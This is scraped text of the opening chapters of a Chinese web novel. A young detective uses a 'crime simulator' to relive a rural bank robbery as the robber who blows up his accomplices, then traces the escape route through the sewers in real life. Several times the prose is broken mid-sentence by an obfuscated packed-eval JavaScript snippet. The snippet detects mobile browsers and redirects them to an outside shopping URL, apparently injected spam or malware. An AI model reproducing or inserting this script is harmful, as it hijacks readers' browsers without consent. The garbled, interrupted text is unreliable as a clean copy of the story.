《犯罪模拟器,但是警察》 1. 第 1 章 2001年11月,华国,燕京北郊。 阳光稀疏,深秋的冷风刮在脸上刀削般的疼。 一处枯黄的芦荡边,阴冷又潮湿,唐嗣钧身上穿着一件破旧的袄子,就这么席地而坐着。 他手里拿着一支炭笔,在一张皱皱巴巴的宣纸上面不停地勾勾画画着。 纸上面的线条密密麻麻,纵横交错,如果仔细去瞧的话,就会发现,这张纸上所画的,正是距离他们不远处的农村信用社的结构图。 农村信用社的出入口,柜台的位置,金库的方向,乃至监控探头可能的角度,全部都被一笔一划的标的清清楚楚。 运钞车已经停在了大门口,两名押运员手拿枪械站在两旁,其他的工作人员们正推着箱子往金库里面搬。 唐嗣钧的身旁蹲着一个长相粗糙的汉子,他盯着那辆运钞车看了半天,越看越烦躁:“你画这些有个屁用啊?钱都快要被搬完了,咱们还不动手?” 等到钱被搬进了金库里面,再上了锁,他们可就什么都拿不到了。 唐嗣钧不紧不慢地将最后一条线路在纸张上面描绘出来,这才抬起眼帘,淡淡的看了一眼石康乐:“你急什么?” 他朝农村信用社左边不远处的位置偏了偏下巴:“那边有三辆巡逻车,车上有八名刑警,你上一秒持刀抢劫,他们下一秒就会直接把你给打成筛子。” 石康乐脸上的肌肉不由自主的抖了抖,眼神中闪过了一抹后怕之色,但却依旧梗着脖子:“你说有八名刑警就有八名刑警,你亲眼看着了?” 他先是瞪了一眼唐嗣钧,转身又看向了身旁的赵东方和李全庆。 “老赵,老李,你们自己说,”石康乐绷着一张脸,有些愤愤不平:“你们到底是继续听我这个大哥的,还是跟着他曹振卫?” 这两人都是和石康乐从同一个村子里来的兄弟,以前一直都是为他马首是瞻,身为带头大哥,石康乐此前一直都是说一不二。 可直到半年前,他们认识了曹振卫。 曹振卫人年轻,脑子也好使,带着他们仨个人赚了不少的钱,赵东方和李全庆这两个人此时都隐隐有些要以曹振卫为主了。 石康乐心里面就有些不得劲,所以便总是有事没事就和曹振卫别苗头。 唐嗣钧听了这话也不恼,只一双黑沉沉的眼睛直勾勾的盯着石康乐:“你大可以试试。” 他的声音不高,说话的语气也不重,可石康乐也不知道怎么的,对上唐嗣钧的那双眼睛的时候,只觉得背后隐隐有些发凉。 这并不是唐嗣钧在信口雌黄,而是这样的事情,已经真实发生过了。 此时唐嗣钧的眼前,存在着一块只有他可以看见的人物面板。 【姓名:唐嗣钧(模拟体)】 【基础属性】 【智力:98】 【体力:90】 【魅力:85】 【综合评价:你已经站在了大部分人类的天花板上】 面板静静的悬浮在唐嗣钧视野的右下角,呈现半透明的状态,像是一块蒙了灰的玻璃似的。 2001年11月23日,唐嗣钧22岁,刚刚大学毕业不久,来到燕京市局刑侦大队也不过几个月的时间。 三天以前,燕京北郊的农村信用社发生了一起抢劫案,信用社里面的工作人员没有什么伤亡,反而是劫匪自相残杀,当场被炸死了三个。 根据现场侦查的结果显示,爆炸是从劫匪逃跑的面包车底部发生的,有人提前在车底埋了炸药。 警方怀疑是内部分赃不均,引起了劫匪的内讧。 三名死者身份不明,面容损毁严重,指纹也和指纹库里的比对不上。 逃跑的那名劫匪更是如同人间蒸发,带着至少10万的现金,消失的干干净净。 案子一时之间陷入了僵局。 这天早上,唐嗣钧熬了个大夜,站起身的时候眼前黑了一下,等再次恢复视觉的时候,他的眼前就多了那样一块面板。 【犯罪模拟器已绑定】 【请抽取本次模拟身份】 唐嗣钧还没反应过来,面板上的字已经自己变了。 【身份抽取中……】 【抽取完成】 【本次模拟身份:犯罪者】 除了犯罪者以外,抽取到的身份还有可能是受害者,侦查者,甚至是偶然路过的路人。 身份随机,地点随机。 每解锁一条线索,便可以回归一次现实生活。 【模拟案件:燕京北郊农村信用社抢劫案】 【模拟目标:完美复刻逃逸劫匪曹振卫的所有犯罪行为】 唐嗣钧盯着那块面板,瞳孔微微收缩。 曹振卫…… 那个逃逸劫匪的名字…… 他在现场消失,整个燕京警方都不知道那个消失的人叫什么。 但模拟器知道。 它什么都知道。 任务面板在唐嗣钧眼前微微闪烁,像是在等着他应答。 唐嗣钧沉默了几秒钟,终究还是抬起手,点在了那块灰蒙蒙的玻璃上。 【模拟开始……】 一阵失重感传来,唐嗣钧的耳朵里面出现了几道嘈杂的声音,紧接着他就发现自己身处于一处廉租房之中,身边还有三个神色各异的男人。 他成为了那个成功逃跑的劫匪,曹振卫。 他按着模拟器的要求,一步步的复刻着曹振卫的每一次行动,直到现在。 石康乐看着唐嗣钧那独断专行的样子,只觉得自己的脑瓜子都突突的疼。 这个半路杀出来的家伙,说话做事都不跟他商量,把他这个带头大哥完全当成了一个摆设了。 石康乐撸了一把袖子,准备和唐嗣钧好好说道说道,可他还没有开口呢,就被赵东方给扯住了胳膊:“老大,咱们就听小曹的吧。” “对对对,”李全庆连连点着头,还伸手指了一下自己的脑袋:“小曹这里好使。” 石康乐咬着后槽牙,从鼻子里面挤出了一道冷哼,但却也没有再吭声。 片刻之后,运钞车上面的款项全部都被搬进了金库,两名押运员上了车,沿着来时的路离开了。 唐嗣钧盯着那辆运钞车消失在街角,这才拍了拍身上的灰,站了起来:“走吧。” 石康乐下意识的问了一句:“去哪?” 唐嗣钧没有看他,说话的声音被风吹的有些散,轻飘飘的落进几个人的耳朵里:“拿钱。” 石康乐只觉得好笑:“钱都已经被搬到金库了,还拿个屁,你还能知道密码不成?” 现实世界里的石康乐已经被曹振卫给炸死了,唐嗣钧没有和一个死人去争辩的必要,他只是将图纸摊开,和另外两人说起了自己的计划:“我们这样……” 他们越听,眼睛睁的越大。 石康乐蹲在原地,脸上挂着冷笑。 可慢慢的,那笑容却有些挂不住了。 因为一旦这个计划顺利实施下去,他们就可以没有任何伤亡的拿走金库里的钱。 石康乐嘬了一口剩下的半截烟屁股,将其扔在地上,用脚狠狠碾碎,最后还是抬脚跟了上去。 片刻之后,几个人套上了鞋套,戴上了口罩,把五官遮得严严实实的,从农村信用社后巷的通风管道里钻了进去。 通风管道特别的窄,几个成年男人爬的都有些憋屈,但却始终没有任何一个人叫嚷。 爬了几分钟,金库的大门出现在了众人的面前。 那道门厚重又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320976|199052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冰冷,密码盘上的数字折射出金属的冷光,仿佛在嘲笑着众人的不自量力。 石康乐的眼睛往那门上一瞟,阴阳怪气的说道:“来,你告诉我,我们要怎么拿钱?” 唐嗣钧没理他,只自顾自的走到门前,伸手在密码盘上按了几下。 “咔哒……” 伴随着一道声响,厚重的金库大门缓缓的裂开了一道缝隙。 “你……”石康乐扭过头,眼睛一瞬不顺的盯着唐嗣钧:“你到底是什么人?” “少废话,”唐嗣钧抬脚迈进了金库,冷声道:“还不快点行动?” 石康乐瞬间如梦初醒,三两步就冲进了金库里面,抓着钱毫不犹豫的开始往蛇皮袋里面塞。 崭新的钞票成捆成捆的放在一起,还带着油墨的香味。 石康乐从来没有见过这么多的钱,一时之间手都有些抖了。 “滴——滴——滴——” 可就在这个时候,刺耳的报警器骤然响了起来,尖锐的声音在金库里不断的回荡,震得人耳膜生疼。 唐嗣钧低头看了一眼手腕上的表,说话的声音依然很稳:“警察还有三分钟到,我们必须立刻离开。” 说完这话,他一把薅住了还在往袋子里塞钱的石康乐,拽着他就往外面拖。 石康乐身体踉跄了一下,差点摔倒,他手里的蛇皮袋掉在了地上,装好的钞票滚出来了好几沓,石康乐努力的向前伸着手:“钱,钱还没装完……” 唐嗣钧手下的动作没停,只沉声呵斥:“你要钱还是要命?” 石康乐咬着牙,回头看了一眼金库里散落的钞票,听着前门方向越来越近的警笛声,终究还是跟着唐嗣钧冲出了后门。 大门口已经隐约能看见警车的红蓝灯光在闪烁了,后巷里倒是空的,一辆灰扑扑的面包车就停在50米外的地方。 石康乐一路跑得飞快,几步就冲到车子旁边,他一把拉开后车门蹿了上去,赵东方和李全庆也连滚带爬的钻了进来,一个个都喘的跟牛似的。 唐嗣钧落在了最后。 他手里提着一个装了大半袋钱的蛇皮袋,离车门还有五六步的距离。 就在这个时候,车门却突然被关上了。 车子里面,石康乐一把拍在了驾驶座靠背上,冲驾驶室的赵东方吼道:“开车!快他妈的开车!” 赵东方愣了愣:“小……小曹还没上来……” “警察马上就要到了,”石康乐翻了个白眼:“他本来就不是跟咱们一起的,留在这儿还能拖拖警察,你他妈想死在这儿吗?” 赵东方的嘴唇动了动,终究还是狠狠的踩下了油门。 面包车轰的一声蹿了出去。 后视镜里,唐嗣钧的身影越来越小,他像是傻掉了一样,站在原地一动不动。 警笛声从四面八方涌了过来,几辆警车从街角呼啸而出,追着面包车的尾灯冲了上去。 石康乐扭过了头,隔着后车窗玻璃,目光和唐嗣钧的视线对在了一起。 他咧开嘴,露出了满口的黄牙,无声地吐出了一个字眼:“该!” 这就是和他作对的下场。 然后,石康乐隔着几十米的距离,却突然看见唐嗣钧的嘴角也微微的扬了起来,露出了一抹和他一模一样的笑容。 唐嗣钧的嘴唇动了动,像是在说着些什么。 石康乐眯起了眼睛,努力辨认着那口型。 “祝,你,好,运。” 石康乐一下子愣住了。 这是什么意思? 下一瞬间…… “轰!!!” 震耳欲聋的爆炸声从车底炸开,提前埋好的土/炸/药被精准的引爆,面包车在火光中腾空而起,翻滚着砸向了路边…… 2. 第 2 章 那一瞬间,石康乐的世界开始天旋地转。 一阵深入骨髓的痛苦和绝望席卷了全身,在所有的意识都陷入黑暗之前,最后映入石康乐眼帘的,是后视镜里那个依旧站在原地的人影,和那双漆黑又平静的眼睛。 那双眼睛隔着几十米的距离,穿透了漫天的火光和硝烟,无比冷静地看着他。 而那双眼睛的主人,嘴角的那抹笑意,始终都未曾散去。 就仿佛……这一切早就在他的预料之中。 石康乐终于后悔了…… 他的脑海当中闪过了一幕幕的走马灯,他忍不住在想,如果他一开始对待唐嗣钧的态度不是那么的恶劣,如果他不是那么的贪婪…… 他是不是就有活下去的机会? 但石康乐不知道的是,唐嗣钧从未想过要带着他们三个人一起安全撤离。 从一开始就没有。 这里是模拟器的世界,不是现实。 现实中的2001年2月23号,曹振卫炸死了他们三个人,独自逃脱。 唐嗣钧现在需要做的,就是眼睁睁的看着石康乐一行人去死。 曹振卫和石康乐他们相处了半年多,看起来好似已经和他们处成了兄弟,可实际上,他们只不过是曹振卫特意留下来吸引警方注意力的鱼饵罢了。 像曹振卫这样说干就干的狠人,必须要尽快将其抓捕归案,否则,死在他手底下的人只会更多。 这是唐嗣钧第一次动手杀人。 身为一名刑警,亲手解决掉三条人命,哪怕是在模拟器的虚拟世界里,也是一件挑战他信仰的事情。 车辆爆炸的一瞬间,唐嗣钧的手抖得几乎快要握不住东西,胃里也不断的翻涌着恶心。 石康乐,赵东方,李全庆…… 一模一样的脸,一模一样的话,一模一样的贪婪和愚蠢。 再三上演。 他们甚至都不知道自己已经死了。 爆炸的火光在不远处燃烧,滚滚升起的浓烟,让从四面八方围来的警车灯光变得忽明忽暗。 唐嗣钧站在后巷的阴影里,看着警车一辆又一辆的冲向面包车的残骸,看着全副武装的巡逻警从车上跳下来,端着枪将事故现场团团围了起来。 唯独没有人往他这边看。 唐嗣钧垂下了眼帘,用力捏了捏装着钱的蛇皮袋,然后掀开了几步之遥的下水道井盖。 井口的内侧,一根手指头粗的麻绳正静静的垂落着。 这是昨天夜里曹振卫亲手绑上去的。 唐嗣钧将蛇皮袋扔进了下水井里,随后双手抓住麻绳,将井盖的位置复原,纵身跃了下去。 下水道里黑得伸手不见五指,只有头顶那个井口透下来一圈微弱的光。 里面到处都是污水,恶臭的味道扑面而来,直往人的嗓子眼里面钻。 唐嗣钧捂住口鼻,站在原地适应了几秒钟的黑暗。 然后,他从怀里摸出了一个小手电筒,缓缓的将其打开了来。 微弱的光束照着前方的道路,污浊的水面上面,也浮现出了唐嗣钧此时的倒影。 这是一个年轻男人的影子。 男人身高1米75左右,年纪在二十岁上下,体型比较偏瘦,一双眼睛微微眯起,眉峰竖立着,看着就有些不太好相与。 这是曹振卫的身体。 唐嗣钧盯着这张陌生的面孔,沉默了几秒。 他对曹振卫一无所知,没有过去,也没有记忆。 唯一获取的线索,就是曹振卫藏在枕头底下的计划书。 他按照计划书上所写,炸死了石康乐一行人,也拿到了钱。 可接下来呢? 下水道通往哪里?曹振卫原本打算怎么逃?他在这座城市里有没有藏身之处?有没有其他的同伙?有没有下一个目标? 手电的光束微微晃动着,唐嗣钧抬起了头,看向了前方幽深的黑暗。 污水缓缓流淌着,不知通往何处。 眼前有三条岔路,每一条路都是一个完全不同的方向。 唐嗣钧蹲下身,把手电筒放低,光束贴着水面,仔细的查看了起来。 乍一看,三条路似乎没有任何的区别,可最右边的那条通道口处,青苔的长度要比另外两条通道矮上一些。 这条路……曾经被踩踏过。 唐嗣钧站起了身,案不犹豫的抬脚朝着右边走了过去。 就在他迈出步子的瞬间,视野右下角那块灰蒙蒙的面板忽然闪了闪。 【检测到模拟体确认逃跑路线】 【路线确认成功率:87.3%】 【达成隐藏条件:首次自主还原逃逸路径】 【发放阶段性奖励:曹振卫身份信息×1】 唐嗣钧的脚步顿住。 面板上的字开始变化,一行一行的浮现出来。 【姓名:曹振卫】 【籍贯:原河市路固县百通乡】 【年龄:21岁】 【身份信息:无业,有盗窃前科,1984年4月离开原河市,去向不明】 唐嗣钧盯着那几行黑体字,眼皮狠狠的跳了跳。 他来到模拟器的世界以后,旁敲侧击的将石康乐等人的底细都打听了个清楚。 石康乐,赵东方,李全庆三个人都是原河市路固县百通乡的人。 他们从小一起长大,一起出来打工,一起混日子,一起动了抢银行的念头。 曹振卫是他们去年八月份的时候在工地上站认识的,因为比较能聊的来,再加上曹振卫脑子好使,带着他们赚了一点小钱,所以几个人就绑定在一起了。 按照石康乐三个人所言,在此之前,他们和曹振卫根本就不认识。 可模拟器给的资料,应当也是做不了假的。 唐嗣钧站在原地,低下头,若有所思。 所以…… 曹振卫根本不是偶然加入了石康乐的小团体,也不是因为内讧才炸死了三个人。 这是一场……早有预谋的谋杀。 “唐嗣钧?” 肩膀被人狠狠的晃了一下,唐嗣钧猛地睁开了眼来。 此时,他正坐在一张办公桌前,桌子上的卷宗四散着,桌子对面的窗户外面,天空刚刚染上了一点淡淡的橘色。 这是清晨六点的刑侦大队的办公室。 唐嗣钧低头看了看自己的手,手指干干净净,没有污水,也没有蛇皮袋的勒痕。 这是他自己的手,不是曹振卫的。 一个梳着齐耳短发的女警凑到了唐嗣钧的眼前,眉眼间还带着点促狭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李钦霞一下子就反应过来,唐嗣钧这是有了新思路了,她正色了起来,表情变得认真:“怎么说?” 唐嗣钧抬起了头,对上了她的目光。 那双眼睛漆黑平静:“只是一个直觉,还不太确定。” “行啊,”李钦霞点了点,转身就准备去收拾东西:“我和你一起去吧。” 半个小时后,两个人站在了燕京北郊农村信用社的后巷。 信用社已经被封了,门窗上贴着白色的封条,警戒线在冷风里飒飒做响,整个巷子都很安静,周围也没有什么人。 唐嗣钧沿着后巷慢慢的走着,脚步不疾不徐的,只是目光不断地扫视着每一寸的地面。 李钦霞跟在他的身后,也没说话。 走了大概二十米,唐嗣钧停住了。 他的脚边,有一块极其不起眼的,又无比熟悉的下水井盖。 李钦霞凑过来,微微挑了挑眉头:“下水道?” 唐嗣钧蹲下身,将手套缠绕在一根铁钩子上,紧接着将其扣进了井盖的孔眼里。 他没有用多少的力气,井盖就被轻而易举的掀了起来。 手电筒的光束照下去,一根麻绳在水流的冲刷下微微晃动着。 身后的李钦霞凑了过来,顺着唐嗣钧的目光往下看。 两秒钟后,她倒吸了一口凉气:“嘶……” “杀人灭口的那个家伙,该不会就是从这里逃的吧?” 3. 第 3 章 李钦霞戳了一下唐嗣钧的肩膀,呲着牙,眼睛亮晶晶的:“你小子,老实交代,你这是什么想法?” 唐嗣钧被她戳的身体往旁边歪了歪,他唇角微微勾了一下,轻声说道:“运气罢了。” 他总不能把犯罪模拟器的事情说出来。 “你少来,”李钦霞翻了一个大大的白眼:“赶紧的,快点交代,让我也学习学习。” 距离案子发生到现在,已经过去三天了,农村信用社里面所有的工作人员也全部都被问询了好几遍。 钱都被运到了金库,金库的门是锁上了的,密码只有农村信用社的负责人知道。 可这几个劫匪却硬生生的输入了密码,打开了金库的门,拿走了钱。 当时,农村信用社不远处一条街的距离,就有三辆警车在巡逻。 唐嗣钧和李钦霞他们身为新人,也参与了巡逻的过程。 他们在警报响起的第一时间就赶到了现场,前后时间不超过三分钟。 可那个劫匪却还是在众目睽睽之下消失了。 大家伙儿在现场把方圆两公里内都翻了个底朝天,每一条巷子,每一个角落,每一间可能藏人的屋子全搜过了。 可却什么都没有找到。 那个劫匪就像是人间蒸发了一样。 “我是这么想的,”唐嗣钧略微思索了一下,声音淡淡的:“一个人不可能原地消失,如果地面上找不到,那肯定是有我们没发现的通道。” 他顿了顿,手电的光束在那根麻绳上晃了晃:“所以就想着来现场看看。” 其实也不怪大家伙没有想到下水道这个地方,正常情况下,下水道的管道都比较窄,是根本没有办法让一个成年人通过的。 只有这个下水道,不知道是当初施工的时候就是这么设计的,还是后面进行过改造了,下面的空间很大,完全可以让成年人弓着腰前行。 “啧,”听完唐嗣钧的解释以后,李钦霞撇了撇嘴:“你不是说运气吗?怎么还动起脑子来了?” 唐嗣钧抿着唇,轻声说:“动了一点。” “一点?”李钦霞哼了一声,伸手从兜里面掏出来了一个小灵通:“你别以为发现个线索就比我厉害了,这个案子,谁先破还不一定呢。” 李钦霞一边说着,一边按号码,电话接通以后,她清了清嗓子,声音变得正经了起来:“后巷这边有个发现……” 她挂了电话,一抬头,发现唐嗣钧正在看着她。 “看什么看?”李钦霞把小灵通塞回兜里,伸手指了一下下水道:“大伙马上就过来了,会儿要下去的话,得带我一个,听见没?” 唐嗣钧嘴角微微勾了一下:“再说。” “什么再说?”李钦霞立刻瞪眼:“喂,唐嗣钧,咱俩可是同学,你可不能吃独食!” 支援的人来的很快,三辆警车陆续的停在了巷子口,痕检科的同志提着箱子下了车,动作利索地支起了照明灯。 他们拍照的拍照,提取物证的提取物证。 有人趴在地上,用镊子夹起井盖边缘的纤维,小心翼翼地放进证物袋,还有人拿着刷子,在井口周围扫了一圈又一圈。 那根麻绳也被解了下来,痕检科的负责人许恩环戴着一双白手套,一寸一寸的检查着,连绳子上的每一处磨损都没有放过。 “绑了有几天了,”许恩环抬起头,对身边的人说:“绳子表面有污渍,但磨损的痕迹很新,最近被人使用过。” 唐嗣钧站在一旁,看着那根麻绳被装进了的证物袋里。 “小唐。”一个低沉的声音从身后传了过来。 唐嗣钧回过头,看见刑警大队的队长陈谋义正大步走过来,他今年四十出头,身材比较魁梧,一张国字脸显得格外的严肃。 “陈队,”一看到陈谋义,李钦霞就立刻上前一步,主动开口道:“我申请一会儿下到下水井里去。” 陈谋义看了她一眼:“你?” “对,”李钦霞挺了挺腰板,给出的理由相当充分:“我体力好,个子小,在这下面比较好活动。” 陈谋义沉吟了两秒,挥了挥手:“行,但是要注意安全啊,这里面有沼气,要把面罩带好。” 得到肯定的回答,李钦霞立刻回头,冲唐嗣钧得意的扬了扬眉:“你瞧。” 技术科的同志们很快就架好了折叠梯,金属制成的梯子一节一节的伸进了黑洞洞的井口,发出了一连串的碰撞声。 有人递过来了防护面罩,唐嗣钧接了过来,仔细的戴好,又检查了一遍密封性。 他踩着梯子,一级一级的往下走,头顶传来陈谋义关切的声音:“都注意安全啊,下面情况不明,有任何异常就立刻上来。” 唐嗣钧应和了一声:“收到。” 脚踩到了实地,李钦霞隔着面罩嘟嘟囔囔的说:“这味道……真够可以的。” 手电筒的光束在黑暗里交错晃动,把整个下水道照得忽明忽暗的,有人看着眼前的三岔路口喊了一声:“走哪边啊?” 唐嗣钧毫不犹豫的抬起了脚,朝右边走了过去。 毕竟他已经在模拟器里面走过一次了。 李钦霞歪头看他:“这么肯定?” “嗯。”唐嗣钧点了点头,一边走一边将手电筒的光束打向了曹振卫留下来的痕迹。 “唐嗣钧,你这眼睛也太厉害了,”同批进警局的施久跟在后面,忍不住竖起了大拇指:“我这儿还在找呢,你都发现好几处线索了。” 唐嗣钧脚步顿了顿,侧过脸,语气很平淡:“看多了就习惯了。” “看多了?”施久挠了挠头:“你不是第一次下这种地方吗?” 唐嗣钧轻声道:“以前在学校做过模拟训练。” “哦,”施久恍然大悟:“怪不得你专业课第一呢,记性就是好啊。” 一行人继续往前走着,越往深处,下水道里的味道就越发的呛人。 腐臭的气息里面混进了一种奇怪又刺鼻的味道,像是什么东西烧过之后又被污水给泡烂了。 污水的颜色也发生了变化,原本只是黑,现在却黑里面透着一股诡异的暗红,水面上的漂浮物也越来越奇怪,看着有些瘆得慌。 走了大概二十分钟,最前面的唐嗣钧忽然停住了:“这里有东西。” 众人凑过去,将手电的光束照在了前方的墙壁上。 只见那里,又垂落着一根手指头粗细的麻绳,麻绳的一头绑在上方的下水井盖上,另一头垂落在污水里,随着水流轻轻晃动着。 痕检的许恩环上前两步,戴着白手套小心翼翼的解下了那根绳子。 她翻来覆去看了几遍,又凑近闻了闻,眉头皱了起来:“这绳子……上面有硫磺的味。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梯子爬了一半,唐嗣钧抬起了双手,抵住了那个井盖,用力的往上推了一把。 井盖被掀开,翻倒在了一边,刺目的日光从缝隙里面涌了出来。 与此同时,一股极具刺鼻的硫磺的味道充满了鼻腔,浓烈的几乎快要让人窒息了。 唐嗣钧又往上迈了两步,探出了头。 视线恢复的一刹那,一个巨大的烟囱闯进了他的眼底。 那个烟囱足足有几十米高,像一个怪物般矗立在燕京北郊的荒地上,烟囱的顶端此时正不断地喷涌着滚滚的浓烟。 灰白色的烟雾冲天而起,在半空中弥漫开来,将日头都遮盖了大半。 硫磺的味道,正是从那里而来。 烟囱的底部连着几排低矮的厂房,厂房的周围堆满了乱七八糟的东西,还有不少农民工打扮的人,正在其中来回穿梭着。 众人走过去的时候,几个工人正在往模具里灌砂浆,他们见了警察,似乎是有些害怕,眼神躲闪了一下,手上的动作却没有停。 唐嗣钧上前一步,掏出了一根烟递给了其中一个工人:“师傅,跟你打听个事儿,最近厂里有没有什么人联系不上?” 那工人把手往裤子上蹭了蹭,这才接过烟夹在了耳朵上,但他却摇了摇头:“这个倒没有。” “不过……”他顿了顿,又像是想起了什么似的:“倒是有几个请假的,好几天没来了。” 唐嗣钧心念一动,掏出了笔记本:“哪几个?叫什么名字?哪儿的人?” 那个工人想了想:“有一个叫石康乐的,还有两个一直跟着他的……” 4. 第 4 章 听到这几个熟悉的名字,唐嗣钧的眉梢微微跳动了一下:“你知道他们住哪吗?” “那边,”那名工人伸手朝厂房的后面指了指,那里有一排宿舍区:“他们就住在那屋,最靠边的那间。” 唐嗣钧把笔记本合了起来,问道:“能带我们过去看看吗?” 那名工人面露难色,迟疑着说:“我这活儿还没干完呢,走不开,要不你们去找我们工头吧?他管这事儿的。” 他指了指厂房尽头一间单独隔出来的小屋:“就在那儿,那是工头的办公室。” “好,”唐嗣钧点了点头:“谢谢你啊,麻烦了。” 那名工人有些不太好意思,挠着后脑勺,憨憨的笑着:“你这警察,还怪客气的嘞。” 李钦霞瞬间转身朝着办公室的方向走了过去,走到门口,她伸手敲了几下,但里面却没什么反应。 “没人吗?”李钦霞皱着眉头嘟囔了两句,有抬手敲起了门。 这回有动静了。 一道骂骂咧咧的声音从里面传了出来:“谁啊?敲敲敲,敲魂呢?没看正忙着……” 门被一把拉开,一个中年男人站在了门口,他嘴里叼着一根烟,烟气熏的他眼睛都眯了起来。 他身上穿着一件脏兮兮的衬衫,袖子撸到了胳膊肘出,露出了两条粗壮的胳膊。 当看见门口几个穿着警服的警察的时候,工头的咒骂声立刻戛然而止了,嘴里叼着的烟都差点掉了出来。 他脸上的表情也在一瞬间收敛了,换上了一副略带僵硬的笑容:“警察同志……” 工头一边说着,一边抬脚往旁边让了让:“快请进,快请进,这是有什么事吗?” 他似乎是有些慌张,一双手完全不知道往哪放了,紧紧地攥在一起,来回的搓着。 “不知道各位同志过来是有什么事情吗?”看到唐嗣钧一行人进了屋,工头干笑着说:“我们这是正经的工厂,手续也都是齐全的,从来没有拖欠过工人的工资,也没有干啥违法乱纪的事情……” “工厂的事情不归我们管,”唐嗣钧打断了工头的话:“我们这次过来是想跟你打听几个人。” “好说,好说,”工头忙不迭的应着:“我肯定知无不言。” 说完这话,工头走到桌边提起了一个暖瓶:“先喝口水,有什么话咱们慢慢说。” “不用了,”唐嗣钧抬手制止了他的动作,目光落在工头的脸上:“石康乐,赵东方,李全庆三个人是在你这干活的吧?” “啊……对,是有这么几个人,”工头连连点头:“他们怎么了?出啥事儿了吗?” 唐嗣钧没有回答,只是继续问道:“他们什么时候请的假?请假的理由是什么?” “什么时候请的假……”工头念叨着:“我想想啊……大概,大概五天前吧。” “石康乐说他老娘病的很重,得回去看看,当时还挺急的,跟我说完的当天就走了。” 李钦霞拧了拧眉头:“石康乐的母亲病重,为什么赵东方和李全庆也跟着一起请假离开了?” 工头被她问得一愣,随即摆摆手:“这个……石康乐说那俩都是他的亲戚,算是他的表弟,家里的老人病了,当然得一起回去看看了。” 唐嗣钧听着这理由,微微抿了抿唇。 这所谓的母亲生病,听起来好像没有什么问题,可他在模拟器里面见过他们相处,石康乐对那两人总是颐指气使,更像是大哥对跟班,而不像是亲戚对亲戚。 不过是为了方便他们抢完银行以后消失,所找的一个借口罢了。 唐嗣钧的手指在桌子上面轻轻敲了敲:“知不知道他们老家在哪儿?” 工头这次答得很快:“知道知道,我们这儿招工都要登记身份信息,每个人都要填,有户籍地址的。” 他走到墙角那张办公桌后面,拉开了抽屉,在里面翻找了一会儿,找出来了一个花名册。 “就是这个,”工头将花名册递了过来:“他们三个填的信息应该都在上面。” 唐嗣钧接过来,低头看了一眼,这个本子应该用的挺久了,边角都卷了起来,上面的字迹各不相同,写的歪歪扭扭。 但还是能够辨认的出来,这三个人的籍贯全部都是原河市路固县百通乡。 李钦霞从挎包里面掏出了一个小相机,对着登记的信息,咔嚓咔嚓拍了几张照,转身又对工头说道:“这个我们得带回去。” 工头自然是无不答应:“行行行,没问题,你们拿走,尽管拿走。” 也没有什么其他好问的了,唐嗣钧便对工头说道:“带我们去他们住的地方看看吧。” 工头从椅子上站了起来:“哦哦,好,这边走……” 所谓的宿舍,也不过是几块彩钢板临时搭建起来的房子,因为没有窗户,里面黑漆漆的,就算是白天也得开着灯。 唐嗣钧推开门的时候,一股汗味和烟味扑面而来,熏得人直皱眉头。 里面也就三十来个平方,却摆了十张上下铺,铺位上面堆着乱七八糟的被褥,地上还扔着烟头,空酒瓶等各种各样的垃圾。 工头跟在后面,讪讪的笑了两声:“条件是简陋了点儿,但工人嘛,能住就行……” 唐嗣钧没接话,目光缓缓的扫过那一排排的床铺:“哪几张是他们的?” 工头赶紧上前,伸手指了指靠墙的两个上下铺:“就是这两张,石康乐睡这个,赵东方和李全庆睡下铺,他们两个人挤一个铺。” 唐嗣钧走了过去,在那两张床铺前仔细的观察着。 床铺上面的被褥很是凌乱,床头放着几双鞋子,鞋底全部都沾满了干涸的泥浆,似乎是因为穿的久了,鞋帮子都有些磨破了。 唐嗣钧戴上了一双手套,开始翻检这些东西,其他的警察们也相继行动。 被褥被掀开以后,露出了几件换洗的衣服,衣服脏兮兮的,还散发着一股酸臭味。 枕头底下摸出了一包抽了一半的香烟,床头还塞着几个空酒瓶和一张发黄的报纸。 这些东西全部都被妥善的装进了物证袋里。 许恩环手里拿着一把小刷子,将一层细细的粉末刷在了上下铺的扶手,片刻之后,几枚指纹的纹路浮现了出来。 “都还是新鲜的。”许恩环说着话,小心翼翼地将指纹提取下来,贴在了指纹卡上。 唐嗣钧一边整理东西,一边问工头:“你对这几个人的了解有多少?” 工头的目光从那些正在被装袋的东西上收了回来,脸上的笑容微微有些僵硬:“这个……我也不是很清楚。” “那就把清楚的人给叫过来,”唐嗣钧抬眸看向工头:“宿舍里面一共有十个人,总有人了解他们吧?” 工头崩了一下后槽牙:“现在吗?” 唐嗣钧肯定的回答:“现在。” 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面对警方的询问,大家伙都七嘴八舌的说了起来。 一个年纪大点的工人挠了挠头:“石康乐那人吧……说话做事都有点滑头。” 旁边立刻有人插嘴:“何止是滑头啊,他怪会使唤人的嘞,有啥脏活累活都让赵东方和李全庆那两个给他干,晚上还让人给他倒洗脚水呢。” 另一个工人跟着点头:“对对对,那俩也是怪,让干啥就干啥,从来都不吭声。” “都是老实巴交的,”一开始说话的那名年长的工人叹了一口气:“石康乐说往东,他们俩绝对不敢往西,有时候石康乐骂他们,他们也听着,从来都不回嘴。” “骂的可难听了,”那名工人想了想,学着石康乐的语气:“没出息的东西!离了老子你们俩都活不了,还敢不听老子的话,找死是不是?!” 旁边的几个人都跟着点头,这些话他们也都听过。 “有时候还动手呢,”又有一名工人皱着眉头说道:“我亲眼见着的。” 李钦霞来了兴致,立刻追问:“详细说说。” 